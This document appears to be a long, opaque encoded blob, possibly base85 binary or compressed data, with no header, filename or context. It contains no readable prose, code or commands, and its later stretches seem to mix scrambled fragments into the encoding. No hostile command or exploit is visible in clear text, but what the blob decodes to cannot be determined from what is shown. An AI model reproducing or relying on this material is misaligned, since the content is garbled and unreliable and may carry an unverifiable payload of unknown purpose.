zICil1ajBei&NZCJV2U%NrZRMdICbgBkL(>dduQZU$yOMB;tGDEPc-t^R1><>%HO@2 zyOA=HR2vzoQy1uoB)woFv5ts?d1VS>j~zXoiPh>Xk5XvJGwN3BJF-pSf_cn~O#mFv z;a(XZDCB{yO@6E0ez|)8-5LzfLMLDdJWg!MmgGU>6MXXuC;VVRzY{K>Fye+nt}(?W z$@=QVWU^*kXuTo@882vAEc6&iLq?9h9xDf}xduNZ;Jt%t!TY15$J>#5(DS2r%b;6-I{{p(JmJ%I!HH8e4Lpz+9*4n3tT=%`?HM&A zLL+&0fJHs>l~B&wyr`;M7o&5maL~G=JLOfgQp*0X`uxf~g`~E}K!2}R`_OBE;%nV2 z6^;k!Dyko8kbVwwue4mc0f`#B?-h1->-CCsmxc#pY7JBT2;JEEUn_mtjdr1~>PG~X z;UC*Q|Di5E`~$nl@AqoaBZsLLO_VE!M!uSxn!FV`3ti)v2-08(N0^JH;8ZnGLG9|O ziaKz9DOzNHy>z3VUqY>VeqEiJUqa7Wq+GW208;)84sWxNv)Nmiw+f;(3&|nnY?8b1 zCe^2sv1%|iA>TyHw?;u97HP8NtPaa zBiNi=;-GUOw*;8&p?Avb%3aI|yYdI;GSw%S6#kc0{Y$D!tv&ES`wl^69jX}< z$EcrK&z=WLVt0D!4OcJ1gIcGSh^1!yT|r~)EUytA&xIV92xTM1OE2%7@f9ncwU14U zx+HT>k07-`bseZ53Dgx_;8A(p@`WOGgEfavB-m?0C#-9cn@YG=al5Ldcvz3vA+BEO z<M};SQFd0NzdNb`ymd=8O zE5wbEh9-t~fkgV5EWL_^=wuI$SyY>pr&q(4X?MS6j7l0u_k@1Xa;76Rjq62uU(1Zx zWDQ1XO=mfQFZ~EiNYs8b#mtRk%&Fxmu28=cOE{LdqahjDn$=Jv;zfO;MlxK>^@PMp zfC~eu*K6WRwu@x=oMDy>@@|x5;66-Avh-n^%3VA*a-V~#)T*igVNUhf)YEi>j{OI*;&*MB`-#aO-nAsp z{x)tk-7?@_qD5qXt`G1|k@~N7S7-mwkxTL>Eg3cdx#ILy;R|sI5;~`?BXqX0yOVp>j_^BY z$A%4<(Yhn)p3(YMkNbu#Sg3MCo3oEqVQyM?x&jf)6?T~KqYK-1h1(??eX(Wo ziA#FRbJ=IHG6MJ7)i!2{+vYFXBy;oj+Q zAdbJd15rGDWFXn;Uy|ns?lsvq*+O|B#N-yC94q)loVF>+Ek4N*zZ@C6P!aPg$0uM?y~a+h^`dBKGI@R_@P_*Q_6pJrB9%;jnA1t(e`cL`TJuLQjw zr)y`gL6GPQyUodEZ5?ynk?yaflgn@hJGIQi>x(cVbz4y^xkHGcQEvET`;5r&dMspl zwSrT>_^A+@brqZm8g#wNy{N-vT+iw~gw^Ja~}7xw6Go`yz$? zS~HGcNBk7#S%bjA(($kR~MNrAthmV5$n^Ysm5Z^W(ST5n^Ec*YNHX z?WWFLxx95hD&XEJ*KSWbD|MCC zswEgf_K>&tgm$tIVMVtfcVA1bBQ%t?%b&`az*SN6$u-5Hfi(Siqlrs2#chNQb5&#q zP4A)UTWNY>=dRik9Ef0TUs!@ike4Wd`mBf3C0UDZmbsqt0mQYfXak3qS#JzoKtnuW z2R|L+paah(BdIBU>-f|Ul-I+^yzzq^;ZtMZ8(>9Hb}ZH3BTQPjc=pLWkwJI+(B6^c+*Qye|BCBiBJN9!c8o?D_L|UZ#)5zL< zxY2{6_X?k6?PhM-j_g8*S#kZvar?G#5w~(5U!{Z;C5KHT4AT+Lr=P6A87myG;%ZK! zC*@O#iA-cswrkNR3r5uP^zBB=*GYGJ5*J3+duT#@0<<03pX4#D{rf{lh<`VDV63#j z1zEgfQ{TDt`$C*{oRq~VU93}!e(Qmbv}ve1(vBO zGg23#6K5C|yWPtMVNSpm%gd1w?dz7DTAs(3k?i8qQXyK8*DAKD+^ja~+*)hZo1JYB~bE{m<*@|DP zjx#fgNG`>a)-u}rRj_9D z4SyfMuFhNqr4;+t7ZpUEir)*${TQD5izmbfr7@wE?N5))I02i|zvK1r4WrQEY+ zWiA{K3?H^=-Q0nAHSq|ePB`^-`j0>hprTV29<9)VRAfsM!>qrZktU!g?jFIr3;CtJ{g)`ZbgQ`0y{q^T^u zXxWXFy3s*q$uVT6H<)?;5`2V*S;uDDkwp1pb|sFb9o|sC$mL~@1owTpfxc84@g1A9~e^{|@v}ar+{EYbH+2M{JlcmxFP}-MODN z{g|_eve$I{(|(!uMs^`nlsYfV~E6c~H6RdnXZ;L=#{G55hihl(@srZ8v2lWIG%gMe^u+3%5 zPfxh(#?U8Aue*xDiaNK(WQBj$&~uChzEeeTgMW}L{A@N#U!4ggQ%CI$=E+{_3S4Mt zc0UWm39q*=%N8Y2D&Y^kz|{;B%-M zl{u7NLX7C(-OCEA;vKXz#jw*3Ak41#3gQ)CTCNMPs5L(nuH)<6=VG(=yw(1s+9nLG zZNIXFcfba(@ek1l#)&fP;~HBxq}^`QDMV+bkr}?CPAM~cO zIwY# zmDrA@qvepiJW+lG<$Q@?tw?PYqpV5oB0`$fNFPUfP)K=`(YXizaft4*(i^CcjpTaq zXfbI`?Fg565*ox*`kX~vHeT|UTxPo_b2VoUZI{Po%d9^LJQDMb{MvJ=m8K(pUs*He zKe*iz64`5Dji~3*exh(;XW+Tco<~*6s~@UQ>-V(Oo<~&( z#Bd~-&K@GyN(T48hM_8PM|R|~(2T%X;ga&XxPH6Q0Z4mod9#?(;>DNfW}@fn^OqFe zbLa!9-%?Jojtsd6%g2dW-;Bk9nh@qI>d5~dgkd3jCcGy5HkB__>|S4w)Izw2BVbQHo;S>lhutmwVyJmuDZXkwl!$LGz z=MYrWU=1Y_k>j#5RPMQB57?^uMu4F>l6kK zGB4Pt;e!7)oXdyK64A_Q-AmC%?XR<>4$raioJ%YEw?cX4O{`z z5u6rI;k=vu+FEOcjo z$n!-2{~&EsdU%sd6wms1!9!Huyjy03Mdlb`A>H%ufdRv*P20- zgsURlDHhR*H+{uKyw*)5p(<_$Iv5@EYkq{v468|H5e8c+4%up>Xgtn_<*u^%dL>GK z9>A(K;cpmFBJb(bFd}oyN@nvk*I@DavqgUr8ekM`4pwv-1#69hSFIgxLCVD?!HTyHjyn;4 zFIJffB-3h)_sSFp&#?XHgRGKRbewN*WX`j<7&FuSL+#r4$Yh9Ya0j~NjnQPFX8ZLt z<+a4g^Z+xFwZ@is`f-PcjNR`VTRvi1-zvPYdX%3jn2Csmp0p>jXZb=6F4Y? zdPA{w+ZaL6P9|2k+KAkzyj?Jsx2u4R={W1{V*!adZ~wax9C9rb({eHI4yeTa$3eCU zk6}KgEWm>1edYHEWpQSFr~3V;Dv9GS9-E3R)L0xY2zgcM3N~5~A4c&i1v+tCQMP<* z`cu<)jp$`Ok9!pya&L*@p1dCf9w(f3rs$(Cw)wLf3WjhtnFm-wyv5(~(0q=m%Y1r(k9b7-il6H1g^X^L0=AE&0HbX7ej?)Cz_3f(F!t@|G&4HJY4pFN;DvDgREGA@G?EWT4*-nJ7OLYswNM_6xd`Cm5{!w%e7 zBr=U6->a=n zqW6gwSU1Q99R`cI4tKWR_(B?VPWDR7hooDdktFQlEj{g{mofFz;yKSKPyCIzt8|{W zP;QfL2}Yf#62b9SXlTI9Gn(oP&xzI!tPh&b(ZnOOkC7ilLbP!CMw3y<5;a(ozy7sK z?q??t%1#c*`ksYbbM8#=Tl5y4S8K8GHD>=NtB@VK{N5*WVGLm+y%xshQV_b^PFH-B zgqUX%-k`%UT_$(u>Q$tq_DTqo+mrQ`IE|}W#o50(xgn1_rqcbvoV4UIPVQwxSl(^+ ze{lO(Sp>#oNsWjohC48&1y>v91zsa^x|vl>hng44QS(>sgSE#L@!NTB8o14nJ{ z;Jd6})~EfYLucVJ^W)m%Jq(dI(DZDeU|*o(4I?ivF%r3)Gl^uqyp|9e-0qiy26;9U z*?-aN3x8=dmkiT}=EQ?HZB~yGrSPt z_Av2cIQcYvJ;5d~-eaB5y^fYTTI=c|{2*bOlqZ*FP0Crr1l7GKrOgjB`*%fnw~<|~ z=#-Hrz369}^p2NeAU(^VaPO`)w&XrUm44u^Uike%_X+hf^&5n~W6rU$wX4YVa9jS5SPAvs5Vw8lp(e6+$xD}1!VM=N}^0;jrBUt?WV zM%W0dpT=7C?>fs-qoW!9a#ZiXf% z_=vX3(|ocfKgugJdUGIrqMp;6VyN;CS6 z-Z&l?bWh^1HkP;fX3UxRjdU%uM;b0W+LUG~TfSlJyoeXlgA!~x8Kx8IgU6^YnNuD~ z^17mX*(5RGQOq|MT*w#j;t172Y- zh3H{fVT71}(N1!px+F9)h`F1${d8HQVDCeq=~)_ou0R1qF||1m9V`_h7DpMB$qg0j zTRVj|qprjwpfaiSRgc-qC$$D&7F;N>}M1LXeN?dG2pOgTzh|_wRY4rBL znQf{q(5+G#SX zPYz!iJEuhLF-6D0JvyD(5n@$hT`}uLlM{xO)>rDS*-##{u^(L(r|&W6L$A^`d~J&& zAbO=-u(4O8FW1OK>VHsc2B^G4FUhv9%$tP+6wU?)S4vkl)B5lur4jkg#kc0u><}tq zbK->(Mj)N2ff}t<02$R2&m=xP+;o2WGxV+oIrGtU|>!di(mX_>TxCn6b(m`T z2J1G35Xzlt?N!iE*Y`Yo=F1-(C#`u4xy{r~F@7~IH=%hJQarkSza zP4X?-skM#P@n13q(aTshuc~Lfuuu|V^^a&>mWtZ)$FEVX=odvfR?P?m%~6keAZ}ms zyvp_|4QMe8p8hp2EQzcy6ax=3-}dtUByYxuT(-&j1T4we8?xBeGb*y!!V9Kd=)(+p z=DpmdkyX~{^1B&3nj%bL7Bk7Y_%f(guFv|ehg)@LN>XKg7rqtmN}z1 z-pZ@Wm4ox+yV-9Uktfx<7FPa5-2Z!V{^8W2;pHVC8@>U! z+Svc)*DmRh*A-)R!>t*jQXybO=ATp&bWg71YKeb10Y9sYS~Y^^;9x-=PNw|*MGaL& zphp65JO6H5G35tmwOo9Q{X!%IU-J7NPM_L8lyJ>+3kJ(=ghku=3RYix+#G*`ds}3c zTC4s2!%ckY`q4H~x9Lx!2IRbCjc@|H7rU4U(&b-LiZaxaW~LhLA6{p^pnJ62`f{)! zW%_QFIQxh2oZ*QJInkDaPeM;3I<57l|2X{GCVds11)V&3%J$>9K*iUS+|LZcy}ja} z*27>Embajv04Cm%+)|1ZEv1O!YrS>e0Ji6=6T=eV9R$usSr1YtN-Pp{-I;O~@Wm;D z;`B{TSo@qx*%(j1Opce+bf{cZurm4A=Fnil^b`&D2n|M7w15MLyX_~8X3Gj$d-=Fr zNC1&(eNt~8!u?O_h^rT@y8M<+7v0dsW{2--5t4l^Uu%Vte-muvzW%Tg-kTSuShv|a z8JpB#^xAF)1|Bxw5|sHjukpIr%GPZTn$s*!^f&XmZ%M#Cc?%=4xz0VgGea*djNQT5 zpnURo4<_BU18|{I<_DXY2 zJRw7Gvlw^V>xvNmXZAAE>wX4%M@{-M47HhT{{8V7rFq-KA3~N#+Eg?gD(a66>ow2(9R)VM4gV8I8Gr;{p@R5p&`rA~*Q{dB%go;q?rm3iZ4iyzl zle~(@REe^_Qq=bBPW+!LqJnK%&>q$$DXue4xXya0Thvpx-cLa4hBQ=dDdGy6SMCm0 zbSvUYRi7d*bPJleR?*vFO?UWAX{VH+sg+Y-Dy;T@8Xhk! za;d(%dmx}v5))@A5;7nm9dzFu5W0e*hC6|ozz6IxJe=n_K1|`icz}(6#a52gY^A^T zL7~l7P7)HFH(9vjUFDmlo2}2v0w#9mN+J=tn|ZN)-!txFIf5!PpkiKr7Z_t4??UJOH4Q4M=bl-yZw$ExMq z8VdRlM!6Yup(j{RV8rhFY$9eviebJy{-G9Bu^GZwFlLb^()pCoz~bZ!$^IZa;oVsk-kS&e~j4T ztfl^&5JAI^M(EB(#65DZnu7?h2s4I_4clt251k26qAvLZQ^P%FO^VgO-$2kVH8FcP>~bbux13Qc~K;>))1K zo2FNIXrJ~K9Vr_ynOe&0@8$F*XE z)^Y8mLC>vKNU-D?%XE>q99ZP@@yR^wCv8a{6FpO;?Bp>&_vznX+rLrutMneuPjE*f zr+K_6jRouEOKGFnb~s-qp7+`&QL9(3VIsQ6nz#(aw=Y~RC%mdbIZP7mwnuSSN0{k z?7_P1@AoeIrrfee>ayR3%yQeErJK2kMQl&PU29@&V!q1Tyyr1goX))-{ul;PDf?R@ zMp!*8m{5`=>?8pSzp4@p+o`W*r$(-lBe<-6ej1m8iprG?HGV4JU`Vv`Ey1}|i8pdyb>5?uj-ToEh zr0G|x&O%KE)=!YvGZc}AlS9~xRZ@{EBEE9}eu$Uocu+;_-{dhrg_M)Ww5z|rQGX|R zS>okhu{ScYD=gwi)Ale8bM8e*!T7TQgAO7(p zIRe|3Ab$(g;=p;(=mu;T^U|-!v2n29G4mYtKb|4r%o^E37T2GROp^~(@b z|M))Y&;RE7)BK~-++*#PLlU-|Oy(glj8lbSKwPX*vTrmZ%~g(Yndt%k7rcEm)OVBJ_DaM`QE9AB+;zb1 z(E3Rg&fwU98`^Y83Rx5SaH89P%vyQlv`BKv+A7b6z3Db`U0Sym$>pW zscK>P7%63>l)~#^^rbWP;Pln&$UdlJm#?ZNG}IcMY1)5+RK1ByQQdL;B9E!PY_y{;+U32GB%v~i)V?=0-*XBrh-wdHvkd$u$x7D;`e zqDyssz4i1>2VmnB4D$NGhMSJ|#>Us@*x2}zfX2p0FaB@XI4sk;52vQE;Sp@G=`8TJ zSE8QXZzK!2acjP4ZnSIt+)3k8E1t44fKAAuc$#iK`r*9S%suW!OY9!+jzO2P z(puWf&`qSV!6u%=+nWrH;qU&?@PN4?V6M)(+9V?6^_51}UzFeB~?RvH_ba-TKA(!TYv8z42rN~s5 zBeKNF_)QDTjWf>15D^fC;Wb4`=XtZCZSH#<(aO7}nAs*=#SV6E6cC-mb?mFLpQ_+4 zp48=`a!q$eN_FN@n+&Z>*EXiPXQTmBmiW(=2~`{i3xzz(M=Jub))P*X<>BJOT5}pt z>8)mA$oHx9Bj3>-zLp&`YB3u0vn~z`nwylF5?4ZAux|WfKe;;e3ZG?Z!-*~T++@9z zLt8Z$r03ee6{{=#o*-xLVR6KB0RzLO(y#BsSn_f{t+ph@SbqvplgJot%j z_Z4ete19^*>q0yuY?Xh=vW(*SIiqIpoIzGV@*hS1#52pK7`s(Dwl8Y$C5_4Q$){?@cU22tr%|mK&~t z-CtsBcEd9Pb6>#yNYcmsZ{;=2{4~_hZ~mw}(a-m^gH4)fMcTS)vUyh7F(L->7T7s1 z%K47FeX;bUhJE2H?ny7O)-;&gYhmiCGY30c-s{$lX>3qD}?^hXn{_ znq3UB8j&>Y@u=paGD=G(#0_D11+R>0vnX*MQLMx{#ic(dkw&Yd7A1``Y|I3%`Szkw zwR(w7=vSH|cVm2HSF{Bc$tjtB##oBSQ1fL5_QClefi`>Hzg!bL zE6Ej*;pzURSBA_aJ~(fcA@YfF$mi@8WK`_CWu?}7)NnSk{#dJ#^=%l&z{pITV_d_z>1&54^*y^dusf!c5b=-;hNv7;6x@;iy1=4r1 zK#`LL+1q^&5|e#l%o*TxU^Tz*prKXw`&}9SL&Np(mSsx)43$lMDD=uW$?(V|d;syx zA;0;dqR3hg;}ZXjQ4>d0KKmMUf2(;B1lXS)ErMX4bY;{}1?5xV?iZGT^x7i$nY_;G zZu_HTmK(^NHam7rDZ4p*nPm8g5@fzjkdHUj$NmrsZG43D!LPyn_YFukP5SlRmBb>* zLjvmc++e}zw-Wu?l%~Oglfe1<~moIpcv8^+cZ44{1u< z-p*yWj*NJoOo3@!`ueyI9*TnmpFGGLbFTZ@zU0~FEj`|vevUfc=k+fM6<7K5clkE& z-@Qr(FYGp&{4m9x+!T)&tLZS`VN}d7*|n;`-8KpcU(5bH_oDY13t#mm#fH1>HG;;L zPia+XeZV}w*eiNN_{en#9C&`eKv(&-RLLeJP*YnBfn1=tTCf;ya7DQXaZWa*a!!Vc z9{o+0x+_KB=59L?K%rCRZq*tiWr|Le9gQ$?9DMh<7sJ=6iL*3O$V{Y|Ld*v?iETt> zOLcLWi*u7WfL%LhWXs&VfqW)A6K)wf_cLwd9^J@JxnQk~B9c721kv49@LO0EFP84^ zsx5Z4h*_AwBvI5-HBhvPT_U&D_#Lx96&)gXx4Po*fQ7cL&7WFd6{O~KTy6kkJ??IM zf<*8m(&1ipr`Kqj4w9#1!hzdTRfD@twlt|B&9}xQs2DYCI0Y8PTWnBSx^kX4rt;3& zJ9qob93GbKsTury-E8A$7Xp{Q!c?>EhQYi1&~cH#L&WB`P$Bh~Gd3%45prl#V?#5X zuEG$#TP;IOH@75=iZ4>(Pr=A{4f7UFj%aH)GBR=qB!r7~B$kl}ao3rm_w2o1hWQRt{nJc5L!)<2}d?4Sw=rk#v1#wI5l50+`@-1gn9RB=Ie4D>UE_k7~{n|#Hl?=mK zNs+mF_vQ!kLJvgV-5)eRPc+)!cWz1eYPR{@lWrv_TjU)L6=V;} z%dM=tW}Tt5nR(Wk*UQiqKec2Z`L<0p+fu&oQAJUzl^6P6qER{!|-Sri`7KmMt=Z`h+u5GWa9N=&JB=o}+00mT2Kzt#!7vA%talg`V)yagZ%H5JYIj`qHaw$x{u`mo>DTu5eaY-j8F-1C-!L$AWNrJ= zsgjrY8`^769+0RB)VviglH{;+O~JrK1q7pOG8kBEAhL!eQfh=!LvC3;oy`O(i#`Qw zuC?4ZV^yC_FiSFc^lE(NCk6;ERQGYt?XUQtWquhj(n9rZ}5_W6iy_z_T=iwR|Vk%Vo#TnDz+tt zf}h>5*%)ftYQ<->B>CS9n%CC*D&E>+>9?EZfN%WP72^LbC`RYW((f=@7}e9*Qr>6g z198Vmqouj)S#fGso71~ltH&%>%vp^-vS*jS;JxU)N+bR!U>0p%IS~AWif8z$5C2Aj zY*Yk!C3$?BAl*;+9Wx?5(B!v?oZ+i^HdMl6@;pPHFO(P8J1u`BPHOfGVUC0_^Ji3- zga?pZ82>BP3T?i5AZ;R&3T=XMyna2$eJwQs&qCo#Uk^)`29KAJd(j;LK%nlnn3RP+ z@~62(TBCY5qk7u5kQdi7M=$ZirSv=yQeEQTp7mLs8qxOiD^E`Zg^Ekk`NPf`(V+<* zyEcrjRk9W!FBMp4T*ob7K_Im+TeL5!YC1eIC>8eyiKAXY3UuA*zF97CB#uheB>W*w z*MsnL14=atHEA<|LI!m;{|Rwox6yiLJHxwoKkm2QV0V5|veXAsB0bLVC~L!BAy-+6 ztZo&AQ#;~5mhVW>_%pNxFA=PbzavyL@o)c< zwNcI#gXV`pb9X>prJwi@qJ5F~kgMNom}(a8WN5S0P>Hm1a-3Y~zM}&w7-sGL zinfrBm=t8L;zZZ>@!J*k(vwSoNgQBlc2D3_*6|2Xe9?x<}-RX@VNrZ^oSee24=T zYF>o`RIoc><->>=Q7d{y>Q->F^y zUH+Z#9lXCUZT#=@KiWtB^4HS&jo1?Q503csonNb=%^5kix;lO0A=1YjBK_-6zq$N3 z50U=#A<}<$i1hh~NT1$Uy1ArL@DqQ-9t!(=d+Iwy8kKq~{P|0T+R8qsf{o8lxN)9~ zYxz#$`-Q&J%_VR|NBm{HSSfg^|2&zC`w*Z@nWcF>s%hh< z%QfNDf2sPWAELf1`>L-oUEfH%zSHgc{`S>3)c46JhvE;rz>OWVxQhmt&h1Ezp z_d>k!YX=JgQs0g7>)xh8_IGP%hZJ)uQQ6sr)v5fgo!eOS<7eeIBa`lB`HmlPko=8O z@QT+C-ac=dZJKqEOsgfr97;NLoYSf>^?p>uu+2;RduYnbU4MkzI8?evig->!(jV z0S{@{%TSz>ckrP|k^Ydr(-jUrcYJgHt$n4NOIoDeYwNv%a>^oic z@9MtORsW{;ov!*jgnAduav#o&qwxj7EUP7PGob! zaeV)GoN!kBSKBk~v)j{_iHZ-J)8`BuCruoOn}FQr$v3k?rMvo0uaf*H4Cyn!N*{EH z^p6LBbN=W1PFL-l$w|~Vwcj{I`nW@+yGYLr|IGLs_|&n#rSP&b~a+j7x#_N zX;KRQgoDEm20m4UOq%20$}oXQXG8qKS2H6V>1>Ywn(y2$lV36X6>K7N)8sq5{B>{k zE+CKU*aIDw%gAGSo)_v#QL-hX;>GvKYz4Z|3mmebCcZl?{he*#mMEW~B z`sjapk@Upx?Uzlj-uV45W#&U`=ThN9w-MC~&nbFu?JSc;YIfi0?UMfegQTnR{$$gk z=94F$m(xDyf$jVJ#cyuk*1pqK`yR_p&s{-yL8jLV(r_qQI)`3A!eLiR7PUG5M<4bv zGzS8y3#c#Vt4Vz+1f7+O4aq%M%7+^1kjN3!~?dcU;;*sy)*x$XzQrMRbe`5~( zj}HNVb`JdMe5Xhw(peHeXKT*5NL^{tD~W%bbm~?s*`%UANWo4&>JaJqhe+QsFx|HJ z9mu_QJL2d3HqC;(;K*QmBCAYAdrosw@JAdRe(&O3czcg<$4Peiu_ZgD;M*pty4ASl zKdKJ>1t;>YGfR|U!uS7k@D7WrEa?)ho{<_B5kFiGwZxu5EIWM+=MsJE{UuwG&?aIGa@${4tMR^ z$UDQMXO}EGdl)9{sMGJm0&1Z01NVzJMRlMxd$~%#&48tn?AdVNZ_-#)a>?zf@0`{& z{tvBbxIf(*XLf7s33f77(0Nr|6i}Hoy<2M5{V&xW{pWObcObZ?Ixoeh|4Y^P_^&f{ z7ytiI_o@fdb&ot$-PKuj|D2JK#^v_A{(nI8*$<}c{{8ER==an3b?g84h`z^d#H{lTRn+>RzFNRdo@`KNLSWOWwWSkCY3c>M;)xP$kQ!S zTBykOQGx~P0p(e)bL3RNgJx{jZ;K=_HaY-og&dVyUj{NsiYn7MSfS3dU&=~PCt1gS zl|e+BmNV$HZf4*j%9X5RL6H^WE7>l)OM8;13mV^1<*&k2E;k+|&g36h_w!G1I?l$U zU|FL!Tqog3b6H_{vWji?c$~lBAwK(Ktb7#PA4l;aHY3x77S_^n!!*Vj)n|_j_orZ5 zMnt;cizTcIKG)8Eh=MWdW9%c%m0Ym4e)=J&EG-=f3{tFJdY8Xaz7o_{$uHzkY4S4TrI2X z!ka&AGF*%so!LCx=!}-)OYn-*yC9C`z!6WPz5MX>I#$`~H}Kk|{_cH!P*#8E-T|P~ zub7~dCg=m-Q+qc@$t zB$X=juVcznMPcwh{SOZ()ME7606lMP{~Y)E+*Ql_Z9Osq#HVc)Z)|%|k52WB{~&p> zoXGnNd7nHW?>mTy`a3nk4zl;2jV;z^RSrM>+vlMKuOlz4zxA)kgb&Of(9HW_)uq^9 ziTT1?H&7To_`Wee$Idu>1Y3LhI-J2!f9LH-v_$q*Ut-_pydTu*JMHEX-RtY)2Xk@u z;^{x)b8LH_q&{vHhf3-RNe1-pmt5_TTXt%=Y=HUmi7e<5wY~a}uxBLCpVdmE(ug8~(X z>g|v}f$6hAoZgMRA>vh|38vr9l#$kuwhzE4NR`p{e6f9_wSBSJes}g8bICU5HKIGm zOn~L}IOz}$SIS!+c*yTcOr5+%YhHd-TeIHg>r8e$U%$W(Z6rBE^7Ui19OUb}*d&8G zX+#Xm)6_`@RXvJ~BNQJ)u|$!vC!p(W`8r|p^?4Y4y84@@PF_X_uIpqw6rg)&`!V_2 zZSu8_CYgNI@|O7m(?-T3_|}z0r5TBQ{uPaT^RPCKpE79QE2M4v3OMY%k)`jm_g%}J z735S?WA=L&!V7NDOEL(&3frIGc*p3to%bd12VMV(b9eAP1^4`(&O?#z=K+cMcL~`Z zm^sB*$#Mq1?KnEmyC>!`7~kFEtU!w7FcwRA*K@D?#Jga}o!M7oj73}DmtEka|LxAC z_<|X3jPMe!m2S z_pC0H8Ov~=YxF&A^c_g(dy(~T^qrz%`wDJ1`aVj1*NVP6+SJ#p_1!^z$3Cs?`=-(N zWJ2HPbndi$_ZWST7<~^?U!LfDl=^y%zMoQGGxfobak9w1f=+~BuNVHaeJ?WheF$Q| zHug&LJx9iSeJGc&Qs=E_hDUM2H9k1N(DmN{=Y17v0`dj_;i#d1EBIx>#|1wn_>kZ` z1V;qlAb6$V1%fLCmkQ1j{LWWQdi{c55`3}PW3xQ)MZ=f%gux|(%LP{nUM+a5;BLWt z1s@W8RPb|xPYHfg@VkOXe#xX)E_kNkTERiVHwbPQe3#(I1wSSDdxBpQ{F>l*1rO)H zVgi&4J|+2HAauRps|AMy#{}Od_1m7iix8Qccvqj(cB%e>Rf5X}zw-rS z*D1lr1wSG9LBTzOBZ4;zULyEn!Ly}2DumuBb_WG76TCq1A@SQU2>zDf7X+UY{HEY{ z1rL8x>Rs@~f|m$x5F8TRE%+Y6pAmdi@OK2iAo!Hvw*{-One>JW9xr%?;2Ocp1aA=B zE_kot&j@}-@JYdM3RY4sC4wsiYbVE_R`IV|!K(#dC-_@}pAdXl@I8XN1zUYMeTC4I zEjU-OL5Ps@ZWVl;U>k4ou}^09@R_XSQwCQH?h$-kaG&4-!3z%={vN?c1fLLG@`#Dw zAb7vvqk>OLx~~f^6MsU604T75mcMIMt_@Lk;f(Hb@D>zr|w)wU=@@R(6fA{kS zAN!TTHs0dnmzw+>d@Xgn<+Hf6y=CjxaCFm_rbw(S8r~G@YKv@&hMPjdkSd;0{_tqH zHQdx09u(dgYl?NI;O~reL{jMie>CRsx3tH?(XCBe!c+oi3&%R6JLZO3Ta~JwTcxT2 z46jymRh7ooxYt1pR$Q;a1YgZwmZjH=HUQ&86?G4=2TY(}S-y9Lui^^Bw-MMQ6Tszr z0^y`j3SWMGYQB3APQGKnO!v(ce3eI-|>=4(Yb zlrMjN2&yKvMQvAMaCmB+YF904D}G@W z)pQ5$V`?Y3q6qWU68znPs}))!sttGTT5<*CjD{F^W1zNxdnNE@NK$&28m_Jee^hlM zv;%Srz%d<^rz*hJh0s41h@Q-BHRMgeF3y50WRO`KEAB0 z2J=zA9O0C!2WGnaQ}8jq58)Q{n7B5zz6ykszX6!~4yE8@{3(Q6pdIg~;VW5}%vTNC z6G7^+{!gm4SA?;gQP8!(1efomk56q#t*;j07MPEXY4{E~ ze0kt|CJkTKwF!O9M+NA;l7MSptHVcqhd_HN_+EGTXrH<+HQ!!@TVT3})A05B_+AIC z2X@G~_Py)ln|*z9x^3ubH=*whq1Wxy<3&6A^k!=UdTbNVai$HubGyU@G3KnpsImfM zKF9wAy;3bw%QV-Krd2vEj%A&=INEMRYzwr7K<`AT2Rj-Nx)@_*6hAZO zCXb~X!NaoM37IG?TCB(1kj@j+jX|~@KaSi4j?rzv>1vE4KI_QFUqm6mdgLksEm2rc zj%~On*im<G$7ZTnz8)(dT=pKMgiAs5pUTcM35YwIz%Zrzd<)$@^-t*2J_(^k~I zttp)>YQ7SF(}i&Nt_x*m=>=)-y0ik?V{D==ov?-;Wy**Q>$G3c#Rc=gaJMOv^AW zVhQ?Ea@iiqYGDf_qzk8yux)jrR%7Tj+3v%-f8M3#tlo3w^QXHGnm5BwY3(X#?}Wz^ ztlo6-%aPMM^a3H+&sJ~Sy_HKBzZ7XTA;nfmEm8IGzo1TUJv4;Xb-36X7wNxE(7r|6 zWZD!N|10Xt^cSgWY9m@6YiT(y1BRD>4g6Q6e>Q&^s$XThVtY9Wf40E8Gd};e?XPrG zf{*QVA!z^nkNWO!Oz`pUDbOA;!M0Q4Qw|^Xy_1ITyrzUc&U0!(d%y%&U$>9%{xp0q zIDG6MPJ{O6gL(@$C($8_%j?Ew?q{66L5 z>r2CT#>ZC@O091p!Ywe}4L&{_#{+N()-Ni<2|3ndJ!p>%0BbM(qS@i2#NIS~M|^xI ze0<)#c^<@d8g<@f9`|Js76q4WTGz0up~B>8@O|K_|OvUA@MOk`o_fXDWVU zL~E$KO{X8cp4KBxV~7(zJroaBYE@HoJBq_}x`Wb*m&dBQwJWq`D}0uvDZeCsr+8Gj zds7>e)MbnG;`H>8HuP-zHoVXD$)7TPaRAAGohc=My$sI3&n?pVPdxwRPno`?*wwzh zy<=y)*Ady$5el5S zLTMSP(_1P2>8}NUx!H7Gev^7@XR}FH%3spG{Bm)@)akC3bp76!E?t-3q#L#AvQ?l& zj%N>H+Zu=cG#)wVUezf<*S#Rr5;>9e?6Eq;(c_yeoT10kCt+o zVSDJ*iX?6+@vnIRZCYTO3XM; za(={r4WBkFUM{QjcxKfrCwzJcp?aJhB7GTO2N~c`-{q4k(}rUFG=4kCj(E7XBeKPt zb(vS8OX>pegWioXZ-IB?R$qBsxhkk#=*o3V8}yCoAmF5(yfB+cwkst+Ys!%@<#}T# zIubxUM%riGuFEm^aSfCBH0fQjG_`r@>~r{2nx}5u7S`qHw@>@IZFkja+MVfs&fe}^ zz9HHjl1cbcyxlQW#@{+`&(Q5|&01YNPP0ocN84{Xd}2>W)VPzK2gPY=Z}Iv<%Xh0Q zS^prvu$Bz+i*t~h9&)6tA8Gq+ILaj+p5WFVlvICJY3k2RZqHtSF5eLKhh$RJA48q` zlm00=|Gs*0hV!%X`RmW^|LVMXwtq~mXUX!b1uFG%IZR=`HN;mGGmnU~8$@z}^=M`zXIbXh0@u%xYbT>DspA$dSV>kUE z*&Z2R%(z^)XkB77IxF8`Kcr#tC#m>&6udq@b~}DJZ|Hu+*0XKC=js>a_xS~_Lc(!B z@%Ja_|C2ft8VN|wf1(~t|8MQG9YH$#QpqJc3QF1je^9?7;{vi{6VZ0X>(exApPf>l zroT9QeY$*U>Qj<&`xVru4UP9JbB1nj>((0=b2=8C8-F?5cJA^U!#cY*r*3bTy|3|m z=~eM|pD0+?Lz?<__|vqz@J-sTG~@U71!nm4=}&qtIeR^s@!RmFsV7OsS5G!HUQaWJ zZg;kyv;LjVuWdcK{Kl|&zbNf4P7i8#$;~cJ`Aa`(?XgWEon49cX8KptAGlICZZrMl z;Pxir3Ad2;cA3{4>uB$+FiQ`~cE;C3>KoRqc6v|0KMmrOTGZ=3TD>RhA6$!LKPP*r6V^hfc?qL%RC0_Lz20u6R09FL4_6qJ2_UdXw`d{qyow=k|PV_;kkN 